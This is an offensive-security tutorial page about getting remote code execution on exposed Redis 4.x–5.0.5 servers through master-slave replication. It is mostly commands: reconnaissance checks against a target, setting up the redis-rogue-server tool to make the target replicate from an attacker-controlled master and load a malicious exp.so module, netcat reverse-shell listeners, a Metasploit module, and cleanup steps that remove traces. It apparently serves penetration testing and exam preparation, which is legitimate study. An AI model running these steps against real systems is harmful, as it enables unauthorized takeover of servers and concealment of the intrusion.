# Redis Master-Slave Replication RCE

> Exploiting Redis master-slave replication to achieve RCE by loading a malicious module via the SLAVEOF command on exposed instances.

- **URL:** https://hackindex.io/services/redis/exploitation/master-slave-replication
- **Path:** Redis > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/redis/exploitation.md)
- **Published:** 2026-03-14
- **Updated:** 2026-07-14

Redis replication allows a slave instance to sync its entire dataset from a master. An attacker controls a rogue Redis master that serves a malicious `.so` module file during the full resync process. The target is configured as a slave of the rogue master, receives the `.so` as the sync payload, saves it to disk, and then loads it with `MODULE LOAD`. This is the most reliable way to deliver binary module payloads when you cannot write files via SCP or HTTP.

Affects Redis 4.x and 5.x (up to 5.0.5). Redis 6+ tightened replication security, making this harder but not impossible in misconfigured deployments. Prerequisites for this technique:

- Redis version 4.0 to 5.0.5 (or misconfigured 6+)
- CONFIG and SLAVEOF/REPLICAOF commands available
- Target can make outbound TCP connections to your rogue master
- MODULE LOAD not disabled via rename-command

## Prerequisites Check

**1 - Redis version is 4.0-5.0.5:**

```bash
redis-cli -h $TARGET_IP -p 6379 info server | grep redis_version
```

**2 - CONFIG access on target:**

```bash
redis-cli -h $TARGET_IP -p 6379 config get dir
```

Must return a path.

**3 - SLAVEOF / REPLICAOF command is available:**

```bash
redis-cli -h $TARGET_IP -p 6379 slaveof no one
```

`OK` or `ERR already master` confirms the command works. An `ERR unknown command` means it is disabled.

**4 - Target can reach your attack box on the rogue master port:** The target's Redis instance initiates the outbound replication connection to your machine. Confirm outbound traffic is not blocked:

```bash
nc -lvnp 6381
# From target (if you have shell): nc -zv $LHOST 6381
```

## Redis Replication RCE: Set Up the Rogue Server

Clone and prepare:

```bash
git clone https://github.com/n0b0dyCN/redis-rogue-server
cd redis-rogue-server
```

The `exp.so` module must be in the same directory as the script. It is included in the repo. Verify:

```bash
ls exp.so
```

If missing, get it from RedisModulesSDK:

```bash
git clone https://github.com/n0b0dyCN/RedisModulesSDK
cp RedisModulesSDK/exp/exp.so .
```

## Step 2 - Run the Rogue Master and Get a Shell

**Interactive shell mode:**

```bash
python3 redis-rogue-server.py --rhost $TARGET_IP --rport 6379 --lhost $LHOST --lport 6381
```

Follow the prompts: select `i` for interactive shell when asked. The script:

1. Connects to the target Redis
2. Sets `CONFIG SET dbfilename exp.so`
3. Issues `SLAVEOF $LHOST 6381` to make the target replicate from your rogue master
4. Serves the `exp.so` module during the full resync
5. Issues `MODULE LOAD ./exp.so` on the target
6. Drops you into an interactive shell via `system.exec`

**Reverse shell mode:**

Start your listener first:

```bash
nc -lvnp $LPORT
```

Then run redis-rogue-server selecting `r` for reverse shell:

```bash
python3 redis-rogue-server.py --rhost $TARGET_IP --rport 6379 --lhost $LHOST --lport 6381
```

At the shell type prompt, select `r` and provide your `$LHOST` and `$LPORT`.

## Authenticated Target

If the target requires a password:

```bash
python3 redis-rogue-server.py --rhost $TARGET_IP --rport 6379 --lhost $LHOST --lport 6381 --passwd $PASSWORD
```

## Metasploit Module

> [!WARNING]
> This may be restricted in exams such as OSCP. Verify exam rules before use.

```bash
use exploit/linux/redis/redis_replication_cmd_exec
set RHOSTS $TARGET_IP
set LHOST $LHOST
set SRVHOST $LHOST
set PASSWORD $PASSWORD
run
```

`SRVHOST` must be your reachable IP address: not `0.0.0.0`. The module starts a rogue Redis master on `SRVPORT` (default 6379) and handles the full replication flow automatically.

## Step 3 - Verify and Clean Up

After getting your shell, check what user you are running as:

```bash
id
whoami
```

Clean up the loaded module and replication config:

```bash
redis-cli -h $TARGET_IP -p 6379 module unload shell
redis-cli -h $TARGET_IP -p 6379 slaveof no one
redis-cli -h $TARGET_IP -p 6379 config set dbfilename dump.rdb
redis-cli -h $TARGET_IP -p 6379 config set dir /var/lib/redis
```

## References

- [redis-rogue-server](https://github.com/n0b0dyCN/redis-rogue-server) -  n0b0dyCN Rogue Redis master implementation for replication-based module delivery.
- [RCE Exploits via Master-Slave Replication](https://medium.com/@knownsec404team/rce-exploits-of-redis-based-on-master-slave-replication-ef7a664ce1d0) - Knownsec 404 Team Original research covering the replication-based module delivery technique.